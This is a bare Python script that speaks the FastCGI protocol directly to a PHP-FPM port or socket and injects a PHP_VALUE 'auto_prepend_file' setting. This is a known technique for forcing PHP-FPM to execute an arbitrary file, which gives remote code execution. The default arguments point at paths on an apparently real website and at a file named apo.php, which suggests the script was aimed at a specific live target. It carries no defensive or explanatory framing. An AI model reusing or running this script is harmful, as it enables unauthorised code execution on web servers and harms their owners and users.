import socket, struct, sys, os

FCGI_BEGIN_REQUEST = 1
FCGI_END_REQUEST = 3
FCGI_PARAMS = 4
FCGI_STDIN = 5
FCGI_STDOUT = 6
FCGI_STDERR = 7
FCGI_RESPONDER = 1

def enc_params(params):
    res = b""
    for k, v in params.items():
        kb = k.encode()
        vb = v.encode()
        for b in (kb, vb):
            if len(b) < 128:
                res += struct.pack("B", len(b))
            else:
                res += struct.pack("!I", len(b) | 0x80000000)
        res += kb + vb
    return res

def build_records(params, body=b""):
    out = b""
    reqid = 1
    content = struct.pack("!HB", FCGI_RESPONDER, 0)
    out += struct.pack("!BBHH", 1, FCGI_BEGIN_REQUEST, reqid, len(content)) + content
    pdata = enc_params(params)
    if len(pdata) > 65000:
        offset = 0
        while offset < len(pdata):
            chunk = pdata[offset:offset+65000]
            out += struct.pack("!BBHH", 1, FCGI_PARAMS, reqid, len(chunk)) + chunk
            offset += 65000
        out += struct.pack("!BBHH", 1, FCGI_PARAMS, reqid, 0)
    else:
        out += struct.pack("!BBHH", 1, FCGI_PARAMS, reqid, len(pdata)) + pdata
        out += struct.pack("!BBHH", 1, FCGI_PARAMS, reqid, 0)
    out += struct.pack("!BBHH", 1, FCGI_STDIN, reqid, len(body)) + body
    out += struct.pack("!BBHH", 1, FCGI_STDIN, reqid, 0)
    return out

def parse_response(data):
    stdout = b""
    i = 0
    while i + 8 <= len(data):
        ver, typ, rid, length = struct.unpack("!BBHH", data[i:i+8])
        pd = data[i+8:i+8+length]
        if typ == FCGI_STDOUT:
            stdout += pd
        elif typ == FCGI_STDERR:
            stdout += b"[STDERR] " + pd
        i += 8 + length
    return stdout

def fcgi_run(host, port, script_filename, php_value=None, body=b"", extra=None, sock_path=None):
    params = {
        "GATEWAY_INTERFACE": "CGI/1.1",
        "REQUEST_METHOD": "POST",
        "SCRIPT_FILENAME": script_filename,
        "SCRIPT_NAME": os.path.basename(script_filename),
        "QUERY_STRING": "",
        "REQUEST_URI": "/",
        "SERVER_PROTOCOL": "HTTP/1.1",
        "REMOTE_ADDR": "127.0.0.1",
        "CONTENT_LENGTH": str(len(body)),
        "CONTENT_TYPE": "application/x-www-form-urlencoded",
        "SERVER_NAME": "localhost",
        "SERVER_PORT": str(port),
        "REDIRECT_STATUS": "200",
        "DOCUMENT_ROOT": "/",
    }
    if php_value:
        params["PHP_VALUE"] = php_value
    if extra:
        params.update(extra)
    if sock_path:
        s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
        s.settimeout(8)
        s.connect(sock_path)
    else:
        s = socket.create_connection((host, port), timeout=8)
    s.sendall(build_records(params, body))
    s.shutdown(socket.SHUT_WR)
    data = b""
    while True:
        try:
            chunk = s.recv(65536)
        except socket.timeout:
            break
        if not chunk:
            break
        data += chunk
    s.close()
    return parse_response(data)

if __name__ == "__main__":
    host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 9000
    sf = sys.argv[3] if len(sys.argv) > 3 else "/var/www/glarkru/data/www/glark.ru/index.php"
    pv = sys.argv[4] if len(sys.argv) > 4 else "auto_prepend_file=/var/www/glarkru/data/www/glark.ru/apo.php"
    body = sys.argv[5].encode() if len(sys.argv) > 5 else b""
    out = fcgi_run(host, port, sf, pv, body)
    print(out.decode("utf-8", "replace"))
